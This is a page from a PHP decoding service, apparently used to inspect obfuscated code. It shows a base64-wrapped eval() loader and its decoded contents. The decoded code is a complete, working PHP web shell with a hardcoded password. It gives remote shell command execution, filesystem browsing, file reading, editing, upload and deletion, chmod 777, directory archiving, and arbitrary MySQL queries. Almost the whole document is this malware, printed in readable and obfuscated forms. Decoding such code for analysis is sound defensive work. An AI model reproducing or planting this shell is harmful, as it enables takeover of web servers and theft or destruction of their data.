Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval("?>".base64_decode("PD9waHANCi8vV2lsbCBjb21lIGJhY2shDQpzZXNzaW9uX3N0YXJ0KCk7DQo..
Decoded Output download
?>b'<?php
//Will come back!
session_start();
function isLinux($path)
{
return (substr($path,0,1)=="/" ? true : false);
}
function getSlashDir($isLinux)
{
return($isLinux ? \'/\' : \'\\');
}
function auth($username, $password){
$user = \'[email protected]\';
$pass = \'Place where europe meets asia\';
if($username == $user && $password == $pass){
$_SESSION["access"] = "true";
$_SESSION[\'LAST_ACTIVITY\'] = time(); // update last activity time stamp
}
else {
echo \'Auth Access Denied\';
}
}
if(!isset($_SESSION["access"])){
if(isset($_REQUEST[\'u\']) && isset($_REQUEST[\'p\'])){
auth($_REQUEST[\'u\'],$_REQUEST[\'p\']);
}
}
if(isset($_SESSION["access"]) && $_SESSION[\'access\']==\'true\'){
//See if we are on Linux or Windows becuase the paths have to be processed differently
$cwd=getcwd();
$isLinux=isLinux($cwd);
if(!$isLinux)
{
$driveLetter=substr($cwd,0,1);
}
$slash=getSlashDir($isLinux);
$parts=explode($slash,$cwd);
$rootDir=($isLinux ? $slash : ($driveLetter . \':\' . $slash));
function cleanPath($path,$isLinux)
{
$slash=getSlashDir($isLinux);
$parts=explode($slash,$path);
foreach($parts as $key=>$val)//Process .. directories and a single .
{
if($val=="..")
{
$parts[$key]="";
$lastKey=$key-1;
$parts[$lastKey]="";
}
elseif($val==".")
{
$parts[$key]="";
}
}
reset($parts);
$fixedPath=($isLinux ? "/" : "");//Some PHP configs wont automatically create a variable on .= or will at least whine about it
$firstPiece=true;
foreach($parts as $val)//Assemble the path back together
{
if($val != "")
{
$fixedPath .= ($firstPiece ? \'\' : $slash) . $val;
$firstPiece=false;
}
}
if($fixedPath=="")//If we took out the entire path go to bottom level to avoid an error
{
$fixedPath=($isLinux ? $slash : ($driveLetter . ":" . $slash));
}
//Make sure there is an ending slash
if(substr($fixedPath,-1)!=$slash)
$fixedPath .= $slash;
return $fixedPath;
}
if(isset($_REQUEST[\'chm\']))
{
if(!$isLinux)
{
echo "This feature only works on Linux";
}
else
{
echo (@chmod ( $_REQUEST[\'chm\'] , 0777 ) ? "Reassigned" : "Can\'t Reasign");
}
}
elseif(isset($_REQUEST[\'phpinfo\']))
{
phpinfo();
}
elseif(isset($_REQUEST[\'dl\']))
{
if(@fopen($_REQUEST[\'dl\'] . $_REQUEST[\'file\'],\'r\')==true)
{
$_REQUEST[\'dl\'] .= $_REQUEST[\'file\'];
if(substr($_REQUEST[\'dl\'],0,1)==$slash)
$fileArr=explode($slash,$_REQUEST[\'dl\']);
header(\'Content-disposition: attachment; filename=\' . $_REQUEST[\'file\']);
header(\'Content-type: application/octet-stream\');
readfile($_REQUEST[\'dl\']);
}
else
{
echo $_REQUEST[\'dl\'];
}
}
elseif(isset($_REQUEST["gz"]))
{
if(!$isLinux)
{
echo "This feature only works on Linux";
}
else
{
$directory=$_REQUEST["gz"];
if(substr($directory,-1)=="/")
$directory = substr($directory,0,-1);
$dirParts=explode($slash,$directory);
$fname=$dirParts[(sizeof($dirParts)-1)];
$archive = time();
exec( "cd $directory; tar czf $archive *");
$output=@file_get_contents($directory . "/" . $archive);
if(!$output)
header("Content-disposition: attachment; filename=ACCESS_PROBLEM");
else
{
header("Content-disposition: attachment; filename=$fname.tgz");
echo $output;
}
header(\'Content-type: application/octet-stream\');
@unlink($directory . "/" . $archive);
}
}
elseif(isset($_REQUEST[\'f\']))
{
$filename=$_REQUEST[\'f\'];
$file=fopen("$filename","rb");
header("Content-Type: text/plain");
fpassthru($file);
}
elseif(isset($_REQUEST[\'d\']))
{
$d=$_REQUEST[\'d\'];
echo "<pre>";
if ($handle = opendir("$d"))
{
echo "<h2>listing of ";
$conString="";
if($isLinux)
echo "<a href=\'?d=$slash\'>$slash</a>";
foreach(explode($slash,cleanPath($d,$isLinux)) as $val)
{
$conString .= $val . $slash;
echo "<a href=\'?d=$conString\'>" . $val . "</a>" . ($val != "" ? $slash : \'\');
}
echo " (<a target=\'_blank\' href=\'?uploadForm=1&dir=" . urlencode(cleanPath($d,$isLinux)) . "\'>upload file</a>) (<a href=\'?d=" . urlencode(cleanPath($d,$isLinux)) . "&hldb=1\'>DB interaction files in red</a>)</h2> (<a target=\'_blank\' href=\'?gz=" . urlencode(cleanPath($d,$isLinux)) . "\'>gzip & download folder</a>) (<a target=\'_blank\' href=\'?chm=" . urlencode(cleanPath($d,$isLinux)) . "\'>chmod folder to 777)</a> (these rarely work)<br />";
while ($dir = readdir($handle))
{
if (is_dir("$d$slash$dir"))
{
if($dir != "." && $dir !="..")
$dirList[]=$dir;
}
else
{
if(isset($_REQUEST["hldb"]))
{
$contents=file_get_contents("$d$slash$dir");
if (stripos($contents, "mysql_") || stripos($contents, "mysqli_") || stripos($contents, "SELECT "))
{
$fileList[]=array(\'dir\'=>$dir,\'color\'=>\'red\');
}
else
{
$fileList[]=array(\'dir\'=>$dir,\'color\'=>\'black\');
}
}
else
{
$fileList[]=array(\'dir\'=>$dir,\'color\'=>\'black\');
}
}
}
echo "<a href=\'?d=$d$slash.\'><font color=grey>.
</font></a>";
echo "<a href=\'?d=$d$slash..\'><font color=grey>..
</font></a>";
//Some configurations throw a notice if is_array is tried with a non-existant variable
if(isset($dirList))
if(is_array($dirList))
foreach($dirList as $dir)
{
echo "<a href=\'?d=$d$slash$dir\'><font color=grey>$dir
</font></a>";
}
if(isset($fileList))
if(is_array($fileList))
foreach($fileList as $dir)
{
echo "<a href=\'?f=$d" . $slash . $dir[\'dir\'] . "\'><font color=" . $dir[\'color\'] . ">" . $dir[\'dir\'] . "</font></a>" .
"|<a href=\'?dl=" . cleanPath($d,$isLinux) . \'&file=\' .$dir["dir"] . "\' target=\'_blank\'>Download</a>|" .
"|<a href=\'?ef=" . cleanPath($d,$isLinux) . \'&file=\' .$dir["dir"] . "\' target=\'_blank\'>Edit</a>|" .
"|<a href=\'?df=" . cleanPath($d,$isLinux) . \'&file=\' .$dir["dir"] . "\' target=\'_blank\'>Delete</a>|
";
}
}
else
echo "opendir() failed";
closedir($handle);
}
elseif(isset($_REQUEST[\'c\']))
{
if( @ini_get(\'safe_mode\') )
{
echo \'Safe mode is on, the command is by default run though escapeshellcmd() and can only run programms in safe_mod_exec_dir (\' . @ini_get(\'safe_mode_exec_dir\') . \') <br />\';
}
echo "<b>Command: <I>" . $_REQUEST[\'c\'] . "</I></b><br /><br />";
trim(exec($_REQUEST[\'c\'],$return));
foreach($return as $val)
{
echo \'<pre>\' . htmlentities($val) . \'</pre>\';
}
}
elseif(isset($_REQUEST[\'uploadForm\']) || isset($_FILES["file_name"]))
{
if(isset($_FILES["file_name"]))
{
if ($_FILES["file_name"]["error"] > 0)
{
echo "Error";
}
else
{
$target_path = $_COOKIE["uploadDir"];
if(substr($target_path,-1) != "/")
$target_path .= "/";
$target_path = $target_path . basename( $_FILES[\'file_name\'][\'name\']);
if(move_uploaded_file($_FILES[\'file_name\'][\'tmp_name\'], $target_path)) {
setcookie("uploadDir","");
echo "The file ". basename( $_FILES[\'file_name\'][\'name\']).
" has been uploaded";
}
else
{
echo "Error copying file, likely a permission error.";
}
}
}
else
{
?>
<form target="_blank" action="" method="GET">
<input type="hidden" name="cc" value="1" />
Submit this form before submitting file (will open in new window):<br />
Upload Directory: <input type="text" name="dir" value="<?php echo $_REQUEST["dir"] ?>"><br />
<input type="submit" value="submit" />
</form>
<br /><br />
<form enctype="multipart/form-data" action="" method="post">
Upload file:<input name="file_name" type="file"> <input type="submit" value="Upload" /></form>
<?php
}
}
elseif(isset($_REQUEST[\'cc\']))
{
setcookie("uploadDir",$_GET["dir"]);
echo "You are OK to upload the file, don\'t upload files to other directories before completing this upload.";
}
elseif(isset($_REQUEST[\'mquery\']))
{
$host=$_REQUEST[\'host\'];
$usr=$_REQUEST[\'usr\'];
$passwd=$_REQUEST[\'passwd\'];
$db=$_REQUEST[\'db\'];
$mquery=$_REQUEST[\'mquery\'];
@mysql_connect($host, $usr, $passwd) or die("Connection Error: " . mysql_error());
mysql_select_db($db);
$result = mysql_query($mquery);
if($result!=false)
{
echo "<h2>The following query has sucessfully executed</h2>" . htmlentities($mquery) . "<br /><br />";
echo "Return Results:<br />";
$first=true;
echo "<table border=\'1\'>";
while ($row = mysql_fetch_array($result,MYSQL_ASSOC))
{
if($first)
{
echo "<tr>";
foreach($row as $key=>$val)
{
echo "<td><b>$key</b></td>";
}
echo "</tr>";
reset($row);
$first=false;
}
echo "<tr>";
foreach($row as $val)
{
echo "<td>$val</td>";
}
echo "</tr>";
}
echo "</table>";
mysql_free_result($result);
}
else
{
echo "Query Error: " . mysql_error();
}
}
elseif(isset($_REQUEST[\'df\']))
{
$_REQUEST[\'df\'] .= $slash . $_REQUEST[\'file\'];
if(@unlink($_REQUEST[\'df\']))
{
echo "File deleted";
}
else
{
echo "Error deleting file";
}
}
elseif(isset($_REQUEST[\'ef\']))
{
?>
<script type="text/javascript">
<!--
var key = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
function encode64(inpStr)
{
inpStr = escape(inpStr);
var output = "";
var chr1, chr2, chr3 = "";
var enc1, enc2, enc3, enc4 = "";
var i = 0;
do {
chr1 = inpStr.charCodeAt(i++);
chr2 = inpStr.charCodeAt(i++);
chr3 = inpStr.charCodeAt(i++);
enc1 = chr1 >> 2;
enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
enc4 = chr3 & 63;
if (isNaN(chr2))
{
enc3 = enc4 = 64;
}
else if (isNaN(chr3))
{
enc4 = 64;
}
output = output +
key.charAt(enc1) +
key.charAt(enc2) +
key.charAt(enc3) +
key.charAt(enc4);
chr1 = chr2 = chr3 = enc1 = enc2 = enc3 = enc4 = "";
} while (i < inpStr.length);
return output;
}
//--></script>
<?php
$_REQUEST[\'ef\'] .= $_REQUEST[\'file\'];
if(isset($_POST["newcontent"]))
{
$_POST["newcontent"]=urldecode(base64_decode($_POST["newcontent"]));
$stream=@fopen($_REQUEST[\'ef\'],"w");
if($stream)
{
fwrite($stream,$_POST["newcontent"]);
echo "Write sucessful";
}
else
{
echo "Could not write to file";
}
fclose($stream);
}
?>
<form action="" name="f" method="POST">
<textarea wrap="off" rows="40" cols="130" name="newcontent"><?php echo file_get_contents($_REQUEST[\'ef\']) ?></textarea><br />
<input type="submit" value="I base64 encoded it myself, dont run script" /><br />
<input type="submit" value="Change (requires javascript to work)" onclick="document.f.newcontent.value=encode64(document.f.newcontent.value);" />
</form>
<?php
}
else
{
?>
<b>Server Information:</b><br />
<i>
Operating System: <?php echo PHP_OS ?><br />
PHP Version: <?php echo PHP_VERSION ?><br />
<a href="?phpinfo=true">View phpinfo</a>
</i>
<br />
<br />
<b>Directory Traversal</b><br />
<a href="?d=<?php echo getcwd() ?>"><b>Go to current working directory</b></a> <br />
<a href="?d=<?php echo $rootDir ?>"><b>Go to root directory</b></a> <br />
<b>Go to any directory:</b> <form action="" method="GET"><input type="text" name="d" value="<?php echo $rootDir ?>" /><input type="submit" value="Go" /></form>
<hr>Execute MySQL Query:
<form action="" METHOD="GET" >
<table>
<tr><td>host</td><td><input type="text" name="host"value="localhost"> </td></tr>
<tr><td>user</td><td><input type="text" name="usr" value="root"> </td></tr>
<tr><td>password</td><td><input type="text" name="passwd"> </td></tr>
<tr><td>database</td><td><input type="text" name="db"> </td></tr>
<tr><td valign="top">query</td><td><textarea name="mquery" rows="6" cols="65"></textarea> </td></tr>
<tr><td colspan="2"><input type="submit" value="execute"></td></tr>
</table>
</form>
<hr>
<pre><form action="" METHOD="GET" >Execute Shell Command (safe mode is <?php echo (@ini_get(\'safe_mode\') ? \'on\' : \'off\') ?>): <input type="text" name="c"><input type="submit" value="Go"></form>
<?php
}
//Intentionally left open to avoid output the file download function 1
} else {
echo \'Auth Access Denied\';
}'
Did this file decode correctly?
Original Code
<?php eval("?>".base64_decode("PD9waHANCi8vV2lsbCBjb21lIGJhY2shDQpzZXNzaW9uX3N0YXJ0KCk7DQoNCmZ1bmN0aW9uIGlzTGludXgoJHBhdGgpDQp7DQogICAgcmV0dXJuIChzdWJzdHIoJHBhdGgsMCwxKT09Ii8iID8gdHJ1ZSA6IGZhbHNlKTsNCn0NCmZ1bmN0aW9uIGdldFNsYXNoRGlyKCRpc0xpbnV4KQ0Kew0KICAgIHJldHVybigkaXNMaW51eCA/ICcvJyA6ICdcXCcpOw0KfQ0KDQpmdW5jdGlvbiBhdXRoKCR1c2VybmFtZSwgJHBhc3N3b3JkKXsNCiAkdXNlciA9ICdhYmMxMjNAcmVkYXBwbGUuY28nOw0KICRwYXNzID0gJ1BsYWNlIHdoZXJlIGV1cm9wZSBtZWV0cyBhc2lhJzsNCg0KIGlmKCR1c2VybmFtZSA9PSAkdXNlciAmJiAkcGFzc3dvcmQgPT0gJHBhc3Mpew0KDQogICAgICRfU0VTU0lPTlsiYWNjZXNzIl0gPSAidHJ1ZSI7DQogICAgICRfU0VTU0lPTlsnTEFTVF9BQ1RJVklUWSddID0gdGltZSgpOyAvLyB1cGRhdGUgbGFzdCBhY3Rpdml0eSB0aW1lIHN0YW1wDQogfQ0KIGVsc2Ugew0KICAgICBlY2hvICdBdXRoIEFjY2VzcyBEZW5pZWQnOw0KIH0NCn0NCmlmKCFpc3NldCgkX1NFU1NJT05bImFjY2VzcyJdKSl7DQogICAgaWYoaXNzZXQoJF9SRVFVRVNUWyd1J10pICYmIGlzc2V0KCRfUkVRVUVTVFsncCddKSl7DQogICAgICAgIGF1dGgoJF9SRVFVRVNUWyd1J10sJF9SRVFVRVNUWydwJ10pOw0KICAgIH0NCn0NCmlmKGlzc2V0KCRfU0VTU0lPTlsiYWNjZXNzIl0pICYmICRfU0VTU0lPTlsnYWNjZXNzJ109PSd0cnVlJyl7DQovL1NlZSBpZiB3ZSBhcmUgb24gTGludXggb3IgV2luZG93cyBiZWN1YXNlIHRoZSBwYXRocyBoYXZlIHRvIGJlIHByb2Nlc3NlZCBkaWZmZXJlbnRseQ0KICAgICRjd2Q9Z2V0Y3dkKCk7DQogICAgJGlzTGludXg9aXNMaW51eCgkY3dkKTsNCiAgICBpZighJGlzTGludXgpDQogICAgew0KICAgICAgICAkZHJpdmVMZXR0ZXI9c3Vic3RyKCRjd2QsMCwxKTsNCiAgICB9DQogICAgJHNsYXNoPWdldFNsYXNoRGlyKCRpc0xpbnV4KTsNCiAgICAkcGFydHM9ZXhwbG9kZSgkc2xhc2gsJGN3ZCk7DQogICAgJHJvb3REaXI9KCRpc0xpbnV4ID8gJHNsYXNoIDogKCRkcml2ZUxldHRlciAuICc6JyAuICRzbGFzaCkpOw0KDQoNCiAgICBmdW5jdGlvbiBjbGVhblBhdGgoJHBhdGgsJGlzTGludXgpDQogICAgew0KICAgICAgICAkc2xhc2g9Z2V0U2xhc2hEaXIoJGlzTGludXgpOw0KICAgICAgICAkcGFydHM9ZXhwbG9kZSgkc2xhc2gsJHBhdGgpOw0KICAgICAgICBmb3JlYWNoKCRwYXJ0cyBhcyAka2V5PT4kdmFsKS8vUHJvY2VzcyAuLiBkaXJlY3RvcmllcyBhbmQgYSBzaW5nbGUgLg0KICAgICAgICB7DQogICAgICAgICAgICBpZigkdmFsPT0iLi4iKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRwYXJ0c1ska2V5XT0iIjsNCiAgICAgICAgICAgICAgICAkbGFzdEtleT0ka2V5LTE7DQogICAgICAgICAgICAgICAgJHBhcnRzWyRsYXN0S2V5XT0iIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2VpZigkdmFsPT0iLiIpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJHBhcnRzWyRrZXldPSIiOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIHJlc2V0KCRwYXJ0cyk7DQogICAgICAgICRmaXhlZFBhdGg9KCRpc0xpbnV4ID8gIi8iIDogIiIpOy8vU29tZSBQSFAgY29uZmlncyB3b250IGF1dG9tYXRpY2FsbHkgY3JlYXRlIGEgdmFyaWFibGUgb24gLj0gb3Igd2lsbCBhdCBsZWFzdCB3aGluZSBhYm91dCBpdA0KICAgICAgICAkZmlyc3RQaWVjZT10cnVlOw0KICAgICAgICBmb3JlYWNoKCRwYXJ0cyBhcyAkdmFsKS8vQXNzZW1ibGUgdGhlIHBhdGggYmFjayB0b2dldGhlcg0KICAgICAgICB7DQogICAgICAgICAgICBpZigkdmFsICE9ICIiKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRmaXhlZFBhdGggLj0gICgkZmlyc3RQaWVjZSA/ICcnIDogJHNsYXNoKSAuICR2YWw7DQogICAgICAgICAgICAgICAgJGZpcnN0UGllY2U9ZmFsc2U7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgaWYoJGZpeGVkUGF0aD09IiIpLy9JZiB3ZSB0b29rIG91dCB0aGUgZW50aXJlIHBhdGggZ28gdG8gYm90dG9tIGxldmVsIHRvIGF2b2lkIGFuIGVycm9yDQogICAgICAgIHsNCiAgICAgICAgICAgICRmaXhlZFBhdGg9KCRpc0xpbnV4ID8gJHNsYXNoIDogKCRkcml2ZUxldHRlciAuICI6IiAuICRzbGFzaCkpOw0KICAgICAgICB9DQoNCiAgICAgICAgLy9NYWtlIHN1cmUgdGhlcmUgaXMgYW4gZW5kaW5nIHNsYXNoDQogICAgICAgIGlmKHN1YnN0cigkZml4ZWRQYXRoLC0xKSE9JHNsYXNoKQ0KICAgICAgICAgICAgJGZpeGVkUGF0aCAuPSAkc2xhc2g7DQogICAgICAgIHJldHVybiAkZml4ZWRQYXRoOw0KICAgIH0NCiAgICBpZihpc3NldCgkX1JFUVVFU1RbJ2NobSddKSkNCiAgICB7DQogICAgICAgIGlmKCEkaXNMaW51eCkNCiAgICAgICAgew0KICAgICAgICAgICAgZWNobyAiVGhpcyBmZWF0dXJlIG9ubHkgd29ya3Mgb24gTGludXgiOw0KICAgICAgICB9DQogICAgICAgIGVsc2UNCiAgICAgICAgew0KICAgICAgICAgICAgZWNobyAoQGNobW9kICggJF9SRVFVRVNUWydjaG0nXSAsIDA3NzcgKSA/ICJSZWFzc2lnbmVkIiA6ICJDYW4ndCBSZWFzaWduIik7DQogICAgICAgIH0NCiAgICB9DQogICAgZWxzZWlmKGlzc2V0KCRfUkVRVUVTVFsncGhwaW5mbyddKSkNCiAgICB7DQogICAgICAgIHBocGluZm8oKTsNCiAgICB9DQogICAgZWxzZWlmKGlzc2V0KCRfUkVRVUVTVFsnZGwnXSkpDQogICAgew0KICAgICAgICBpZihAZm9wZW4oJF9SRVFVRVNUWydkbCddIC4gICRfUkVRVUVTVFsnZmlsZSddLCdyJyk9PXRydWUpDQogICAgICAgIHsNCiAgICAgICAgICAgICRfUkVRVUVTVFsnZGwnXSAuPSAkX1JFUVVFU1RbJ2ZpbGUnXTsNCiAgICAgICAgICAgIGlmKHN1YnN0cigkX1JFUVVFU1RbJ2RsJ10sMCwxKT09JHNsYXNoKQ0KICAgICAgICAgICAgICAgICRmaWxlQXJyPWV4cGxvZGUoJHNsYXNoLCRfUkVRVUVTVFsnZGwnXSk7DQoNCiAgICAgICAgICAgIGhlYWRlcignQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JyAuICRfUkVRVUVTVFsnZmlsZSddKTsNCiAgICAgICAgICAgIGhlYWRlcignQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nKTsNCiAgICAgICAgICAgIHJlYWRmaWxlKCRfUkVRVUVTVFsnZGwnXSk7DQogICAgICAgIH0NCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICBlY2hvICRfUkVRVUVTVFsnZGwnXTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBlbHNlaWYoaXNzZXQoJF9SRVFVRVNUWyJneiJdKSkNCiAgICB7DQogICAgICAgIGlmKCEkaXNMaW51eCkNCiAgICAgICAgew0KICAgICAgICAgICAgZWNobyAiVGhpcyBmZWF0dXJlIG9ubHkgd29ya3Mgb24gTGludXgiOw0KICAgICAgICB9DQogICAgICAgIGVsc2UNCiAgICAgICAgew0KICAgICAgICAgICAgJGRpcmVjdG9yeT0kX1JFUVVFU1RbImd6Il07DQoNCiAgICAgICAgICAgIGlmKHN1YnN0cigkZGlyZWN0b3J5LC0xKT09Ii8iKQ0KICAgICAgICAgICAgICAgICRkaXJlY3RvcnkgPSBzdWJzdHIoJGRpcmVjdG9yeSwwLC0xKTsNCg0KICAgICAgICAgICAgJGRpclBhcnRzPWV4cGxvZGUoJHNsYXNoLCRkaXJlY3RvcnkpOw0KICAgICAgICAgICAgJGZuYW1lPSRkaXJQYXJ0c1soc2l6ZW9mKCRkaXJQYXJ0cyktMSldOw0KDQogICAgICAgICAgICAkYXJjaGl2ZSA9IHRpbWUoKTsNCg0KICAgICAgICAgICAgZXhlYyggImNkICRkaXJlY3Rvcnk7IHRhciBjemYgJGFyY2hpdmUgKiIpOw0KICAgICAgICAgICAgJG91dHB1dD1AZmlsZV9nZXRfY29udGVudHMoJGRpcmVjdG9yeSAuICIvIiAuICRhcmNoaXZlKTsNCg0KICAgICAgICAgICAgaWYoISRvdXRwdXQpDQogICAgICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1BQ0NFU1NfUFJPQkxFTSIpOw0KICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JGZuYW1lLnRneiIpOw0KICAgICAgICAgICAgICAgIGVjaG8gJG91dHB1dDsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScpOw0KICAgICAgICAgICAgQHVubGluaygkZGlyZWN0b3J5IC4gIi8iIC4gJGFyY2hpdmUpOw0KICAgICAgICB9DQogICAgfQ0KICAgIGVsc2VpZihpc3NldCgkX1JFUVVFU1RbJ2YnXSkpDQogICAgew0KICAgICAgICAkZmlsZW5hbWU9JF9SRVFVRVNUWydmJ107DQogICAgICAgICRmaWxlPWZvcGVuKCIkZmlsZW5hbWUiLCJyYiIpOw0KICAgICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbiIpOw0KICAgICAgICBmcGFzc3RocnUoJGZpbGUpOw0KICAgIH0NCiAgICBlbHNlaWYoaXNzZXQoJF9SRVFVRVNUWydkJ10pKQ0KICAgIHsNCiAgICAgICAgJGQ9JF9SRVFVRVNUWydkJ107DQogICAgICAgIGVjaG8gIjxwcmU+IjsNCiAgICAgICAgaWYgKCRoYW5kbGUgPSBvcGVuZGlyKCIkZCIpKQ0KICAgICAgICB7DQogICAgICAgICAgICBlY2hvICI8aDI+bGlzdGluZyBvZiAiOw0KICAgICAgICAgICAgJGNvblN0cmluZz0iIjsNCiAgICAgICAgICAgIGlmKCRpc0xpbnV4KQ0KICAgICAgICAgICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9kPSRzbGFzaCc+JHNsYXNoPC9hPiI7DQogICAgICAgICAgICBmb3JlYWNoKGV4cGxvZGUoJHNsYXNoLGNsZWFuUGF0aCgkZCwkaXNMaW51eCkpIGFzICR2YWwpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJGNvblN0cmluZyAuPSAkdmFsIC4gJHNsYXNoOw0KICAgICAgICAgICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9kPSRjb25TdHJpbmcnPiIgLiAkdmFsIC4gIjwvYT4iIC4gKCR2YWwgIT0gIiIgPyAkc2xhc2ggOiAnJyk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvICIgKDxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSc/dXBsb2FkRm9ybT0xJmRpcj0iIC4gdXJsZW5jb2RlKGNsZWFuUGF0aCgkZCwkaXNMaW51eCkpIC4gIic+dXBsb2FkIGZpbGU8L2E+KSAoPGEgaHJlZj0nP2Q9IiAuIHVybGVuY29kZShjbGVhblBhdGgoJGQsJGlzTGludXgpKSAuICImaGxkYj0xJz5EQiBpbnRlcmFjdGlvbiBmaWxlcyBpbiByZWQ8L2E+KTwvaDI+ICg8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nP2d6PSIgLiB1cmxlbmNvZGUoY2xlYW5QYXRoKCRkLCRpc0xpbnV4KSkgLiAiJz5nemlwICYgZG93bmxvYWQgZm9sZGVyPC9hPikgKDxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSc/Y2htPSIgLiB1cmxlbmNvZGUoY2xlYW5QYXRoKCRkLCRpc0xpbnV4KSkgLiAiJz5jaG1vZCBmb2xkZXIgdG8gNzc3KTwvYT4gKHRoZXNlIHJhcmVseSB3b3JrKTxiciAvPiI7DQogICAgICAgICAgICB3aGlsZSAoJGRpciA9IHJlYWRkaXIoJGhhbmRsZSkpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgaWYgKGlzX2RpcigiJGQkc2xhc2gkZGlyIikpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBpZigkZGlyICE9ICIuIiAmJiAkZGlyICE9Ii4uIikNCiAgICAgICAgICAgICAgICAgICAgICAgICRkaXJMaXN0W109JGRpcjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgaWYoaXNzZXQoJF9SRVFVRVNUWyJobGRiIl0pKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudHM9ZmlsZV9nZXRfY29udGVudHMoIiRkJHNsYXNoJGRpciIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHN0cmlwb3MoJGNvbnRlbnRzLCAibXlzcWxfIikgfHwgc3RyaXBvcygkY29udGVudHMsICJteXNxbGlfIikgfHwgc3RyaXBvcygkY29udGVudHMsICJTRUxFQ1QgIikpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGVMaXN0W109YXJyYXkoJ2Rpcic9PiRkaXIsJ2NvbG9yJz0+J3JlZCcpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlTGlzdFtdPWFycmF5KCdkaXInPT4kZGlyLCdjb2xvcic9PidibGFjaycpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGVMaXN0W109YXJyYXkoJ2Rpcic9PiRkaXIsJ2NvbG9yJz0+J2JsYWNrJyk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9kPSRkJHNsYXNoLic+PGZvbnQgY29sb3I9Z3JleT4uXG48L2ZvbnQ+PC9hPiI7DQogICAgICAgICAgICBlY2hvICI8YSBocmVmPSc/ZD0kZCRzbGFzaC4uJz48Zm9udCBjb2xvcj1ncmV5Pi4uXG48L2ZvbnQ+PC9hPiI7DQoNCiAgICAgICAgICAgIC8vU29tZSBjb25maWd1cmF0aW9ucyB0aHJvdyBhIG5vdGljZSBpZiBpc19hcnJheSBpcyB0cmllZCB3aXRoIGEgbm9uLWV4aXN0YW50IHZhcmlhYmxlDQogICAgICAgICAgICBpZihpc3NldCgkZGlyTGlzdCkpDQogICAgICAgICAgICAgICAgaWYoaXNfYXJyYXkoJGRpckxpc3QpKQ0KICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRkaXJMaXN0IGFzICRkaXIpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9kPSRkJHNsYXNoJGRpcic+PGZvbnQgY29sb3I9Z3JleT4kZGlyXG48L2ZvbnQ+PC9hPiI7DQogICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgaWYoaXNzZXQoJGZpbGVMaXN0KSkNCiAgICAgICAgICAgICAgICBpZihpc19hcnJheSgkZmlsZUxpc3QpKQ0KICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRmaWxlTGlzdCBhcyAkZGlyKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8YSBocmVmPSc/Zj0kZCIgLiAkc2xhc2ggLiAkZGlyWydkaXInXSAuICInPjxmb250IGNvbG9yPSIgLiAkZGlyWydjb2xvciddIC4gIj4iIC4gJGRpclsnZGlyJ10gLiAiPC9mb250PjwvYT4iIC4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAifDxhIGhyZWY9Jz9kbD0iIC4gY2xlYW5QYXRoKCRkLCRpc0xpbnV4KSAuICcmZmlsZT0nIC4kZGlyWyJkaXI